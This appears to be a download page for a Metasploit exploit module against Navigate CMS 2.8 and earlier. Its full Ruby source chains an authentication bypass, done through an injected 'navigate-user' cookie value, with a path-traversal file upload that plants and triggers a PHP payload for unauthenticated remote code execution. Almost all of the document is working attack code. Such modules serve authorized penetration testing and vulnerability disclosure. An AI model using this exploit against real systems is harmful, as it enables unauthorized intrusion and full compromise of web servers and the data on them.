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Navigate CMS Unauthenticated Remote Code Execution

Navigate CMS Unauthenticated Remote Code Execution
Posted Oct 5, 2018
Authored by Pyriphlegethon | Site metasploit.com

This Metasploit module exploits insufficient sanitization in the database::protect method, of Navigate CMS versions 2.8 and prior, to bypass authentication. The module then uses a path traversal vulnerability in navigate_upload.php that allows authenticated users to upload PHP files to arbitrary locations. Together these vulnerabilities allow an unauthenticated attacker to execute arbitrary PHP code remotely. This Metasploit module was tested against Navigate CMS 2.8.

tags | exploit, arbitrary, php, vulnerability
advisories | CVE-2018-17552, CVE-2018-17553
MD5 | da3b2bf872655ae3a17ea15d8ed164aa

Navigate CMS Unauthenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Navigate CMS Unauthenticated Remote Code Execution',
'Description' => %q(
This module exploits insufficient sanitization in the database::protect
method, of Navigate CMS versions 2.8 and prior, to bypass authentication.

The module then uses a path traversal vulnerability in navigate_upload.php
that allows authenticated users to upload PHP files to arbitrary locations.
Together these vulnerabilities allow an unauthenticated attacker to
execute arbitrary PHP code remotely.

This module was tested against Navigate CMS 2.8.
),
'Author' =>
[
'Pyriphlegethon' # Discovery / msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2018-17552'], # Authentication bypass
['CVE', '2018-17553'] # File upload
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 26 2018'))

register_options [
OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/']),
]
end

def login_bypass
check_resp = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/login.php')
)

login_bypass_resp = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/login.php'),
'cookie' => 'navigate-user=\" OR TRUE--%20'
)

if login_bypass_resp &&
login_bypass_resp.code == 302 &&
check_resp.body.include?('Navigate CMS')
session_id = login_bypass_resp.get_cookies_parsed
.values.select { |v| v.to_s.include?('NVSID_') }
.first.first
return session_id
end
end

def check
return CheckCode::Vulnerable if login_bypass
CheckCode::Safe
end

def exploit
session_id = login_bypass
fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id

print_good('Login bypass successful')

php = payload.encoded
data = Rex::MIME::Message.new
data.add_part(php, 'image/jpeg', nil,
"form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(10..15)}\"")
data_post = data.to_s

upload = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'),
'vars_get' => Hash[{
'session_id' => session_id,
'engine' => 'picnik',
'id' => '../../../navigate_info.php'
}.to_a.shuffle],
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post
)

fail_with(Failure::Unreachable, 'Unable to reach target') unless upload
fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200

print_good('Upload successful')

print_status('Triggering payload...')
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/navigate_info.php')
)
end

def on_new_session(session)
super
if session.type != 'meterpreter'
print_error('Unable to restore navigate_info.php')
return
end

session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')

begin
session.fs.file.open('navigate_info.php', 'w').write("<?php\n\nphpinfo();\n\n?>")
rescue
print_error('Unable to restore navigate_info.php')
end
end
end

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